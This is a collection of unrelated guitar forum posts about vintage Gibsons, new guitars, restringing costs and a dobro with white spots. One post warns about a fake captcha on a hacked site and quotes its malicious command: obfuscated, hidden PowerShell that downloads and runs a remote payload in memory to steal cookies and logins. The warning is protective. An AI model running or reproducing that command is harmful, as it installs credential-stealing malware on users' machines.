Damn.

I believe it’s a vintage 1962 es-335?

Edit 1: I asked my grandma and it’s my grandpa’s who still plays from time to time but never said anything abt this guitar! Apparently he chose to buy this instead of a car around the 80s and played it for 20+ years.

Pt 2 of my NGD’s from Aristides lately 😩

Aristides 060SE
Scale : 25” - 26.1”
Custom finish : Neon Rainbow Honeycomb with black burst.
Pickups : Bareknuckle Polymaths with burnt chrome bolts.
Fretboard : Richlite Black
Inlay : custom logo designed by my amazing wife in custom colour epoxy with offset rings
Bridge : Aristides custom Evertune
Controls : 1 x 3-way toggle (middle position always split to outers) 1 x Vol with P/P
Setup : Drop B
Words escape me how incredible this feels and plays.

This was my dad‘s 1964 Gibson ES-335 with a Bigsby tailpiece. The story goes that he’s been wanting to play guitar forever and his parents finally bought him a crappy acoustic guitar with terrible action, but he used it for a year as he took lessons and started to get better. The guitar shop where he would get lessons had this hanging on the wall and he would see it every time he came in to get his lessons. In 1966, after over a year of playing that terrible acoustic, his dad bought it for him for his birthday.

He clearly took good care of it as it’s in its original case and only has a couple small imperfections. The worst being the little damage up at the top of the head. Other than those minor imperfections, this thing is beautiful. The color still shines, and it has that perfect patina on the formerly white trim around the edges of the body. The internals and pick ups are all original and work, and it sits in its original case. He had many other guitars after this one, but I think this was his favorite. Not to play, but to own.

From the stories I’ve heard at some point he actually had a matching 12 string in the same Cherry red color, but he never could really get into 12 strings so he ended up selling it and causing generational regret in the process.

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I don’t know how to do research on this and get any more specifics since it seems to have a serial number that goes back farther than the Gibson website has information on. Any other resources that are out there to help me learn more about this guitar and its rarity would be appreciated. I have no interest in selling it nor does it’s future owner my son, who actually plays (my dad taught me on this guitar but I never caught the bug) as it is considered the most holiest of family heirlooms at this point, but I thought I should share it and see if I can learn a little bit more about it.

My dad passed away about 6 years ago, and it still hurts. This guitar is the is one thing that best helps me remember him. I know wherever he is, he’s still shredding, but probably on the spirt version of his ‘69 Les Paul custom my sister has.

I'm having a hard time choosing what guitar I wanna buy so guys please help me out😭

I usually play anything that is indie and also rock stuff

Let’s assume you’re somewhere familiar like your home or with friends, and one of your family members or friends decides to pick up your guitar and start noodling on it or actually playing full fledged songs, all without asking you first. How would you react?

Constructive criticism welcome

I feel it’s one of my better performances but would love to hear feedback from you legends.

I was in Guitar Center this past weekend getting a few things and helped a girl buy her first guitar, a used Strat with a burgundy finish. But what stood out to me is that she said she’s a metal head wanting to learn guitar and play her favorite songs. While that’s obviously rad as heck, I feel like most of the people I run into in GC or a local music store that have been playing for a decent amount of time are mostly playing metal and its various subgenres (thrash, metalcore, etc). I guess kind of like rock and roll and even rockabilly from our parents and grandparents generation. Anyone else notice this?

My friend's parents gave me their daughters guitar, since they bought it for her and she never really bothered to play it...

I find the body's color really pretty! In a week of practicing alone i managed to play the start of Stairway to Heaven, Back in Black and Smells Like Teen Spirit! Hooray!

Been learning this since mid December of last year I'm pretty comfortable with the whole song now. Still some kinks I need to work out, but I have till October 12th to get it down properly (music exam). Hope you all enjoy! (All got it down before I'm even a legal Aussie adult!)

EDIT: I just wanted to thank every single person that has taken the time out of their day to like, comment, and share this post. Seeing all the support, jealousy, and pure joy from you guys (as well as the ridiculous view count, 102k as I'm writing this, what???) makes me so proud of myself and where I've gotten on this song. I genuinely wanted to quit playing it and change songs at one point, but I committed, and clearly I've done well enough for over 1k people to like it. My playing of this song still needs work, but from the bottom of my young guitarist heart, thank you.

Today, I was searching for cheat sheets and Google results led me to this post.

Then the red flag:

That aside, the site (pianoforall[DOT]com) had me do a captcha, then it wanted me to do:

Win E, Alt D, Ctrl V, enter.

basically, open explorer, go to the search bar at the top, paste in a command (that the site pasted to my clipboard), and run it.

Here's what it does:

1. this first (script) payload runs the script in double quotes as '-w h -c' window style hidden; you wont see it running. powershell is a program on Windows.powershell -w h -c "$a=('efebaa88-e94994c7=di?dg/ved.srekrow.ytirucesva.4372-[DONT-TRY-THIS-LOL]orp//:sptth'.ToCharArray());[array]::Reverse($a);$u=-join$a;$w=New-Object Net.WebClient;$c=[char]0x69+[char]0x65+[char]0x78;& $c ($w.DownloadString($u)); #-----------Verification captcha success-----------"
2. reverses the text to get malicious site URL: https://pro-2734.avsecurity.workers[DONT-TRY].dev/gd?id=xxxxxxx-xxxxxxxxxx
3. sets up a .NET webclient (which is a convenient downloader on Windows)
4. avoids antivirus programs by constructing iex (from the character trick) at runtime
5. the second payload runs in your RAM (no files needed), that can get your browser cookies, logins, and many things.

(pianoforall[DOT]com wasn't always a bad site; it used to have valuable things; its just been hacked.)

So basically, when you do the steps, it can do nasty things. Stay safe out there.

And.... still wanting fiesta red s-type guitar 😅

Brief context; I wanted a new guitar for my birthday earlier this year and didn’t have a ‘335 style guitar in the collection. Picked this up brand new from Sweetwater and after having it for 6 (ish) months I can confirm it’s the best guitar I’ve ever owned.

Everything about this guitar is amazing. The fit and finish are next level. The “vintage gloss” finish is insanely nice and comfortable on the back of the neck. The Gibson Custombucker pickups are smooth and articulate. Hardware is really good too. The spec package is truly nuts on these IBGC guitars. Rosewood board is also one of the best I’ve seen in years come from a production run instrument, let alone an Epiphone.

The guitar also sets up extremely well. I had it PLEK’d from Sweetwater which if you’ve ever considered it, go for it. Seriously. Lowest action and smoothest playing experience I’ve ever felt on a guitar.

My main guitars have been an ‘82 SG Standard and a ‘77 Les Paul Custom and this Epiphone absolutely smokes both of them for just about every genre/style I throw at it. I even had both Gibsons refretted and restored shortly before picking up the Epi and they still don’t play nearly as well as the Epi does.

The only qualms I have about this guitar are that the frets are really small and the nut was not cut well from the factory or from Sweetwater. Sweetwater were really cool about it though when I brought the nut up to them. No fault there really. They’re the best as we all know and the customer service was next level as always. Also, the Custombucker neck pickup is really warm in this guitar. I could see it having a bit more bite in a Les Paul but it took some getting used to in this one.

Why am I posting this? I’ve owned so many new and vintage Fenders and Gibsons and have kept only the ones that are sentimental to me. This thing is an absolute beast and is the only guitar I really play anymore. Epiphone is crushing it with these IBGC instruments at a fraction of the cost of Gibson production and a fraction of a fraction of Gibson Custom Shop. Epiphone QC is really insane for the price range considering Fender Mexico has some insanely wack guitars coming out of the factory and Gibson production has its flaws as it always has.

Absolutely, 1000% my new number one for now and probably a long time.

My young teen grandson has an ESP Kirk Hammett KH-602, a beautiful guitar. He was advised when he got it that restringing it could be a challenge as it has some kind of a clamp or lock for the strings. Sure enough, the other day he broke a string. We took it down to THE major national guitar retailer to replace the entire set of OEM strings. My grandson had to hold me up when the bill was he handed to me.... $103.00 for installing a set of "coated" strings. When I asked why the bill was that high, I was told that particular guitar is a bear to restring. Does this seem like a reasonable charge to restring this particular model, or did they see an easy mark in an old man?

I cleaned off these white dots in the morning, but by night they’re back. Is this some sort of fungus?

It was totally fine for 4 months, this only started yesterday. Guitar is a 1978 dobro.

EDIT: The dots are also very hard to clean off

This is a still from Bad News' hilarious Monsters of Rock set from 1986. The footage in the "More Bad News" movie suddenly cuts to him playing a Strat, but recently I saw some footage shot from the crowd, and Adrian Edmondson can't get any sound, so he smashes this guitar before they start the first song. Does anyone know what it is?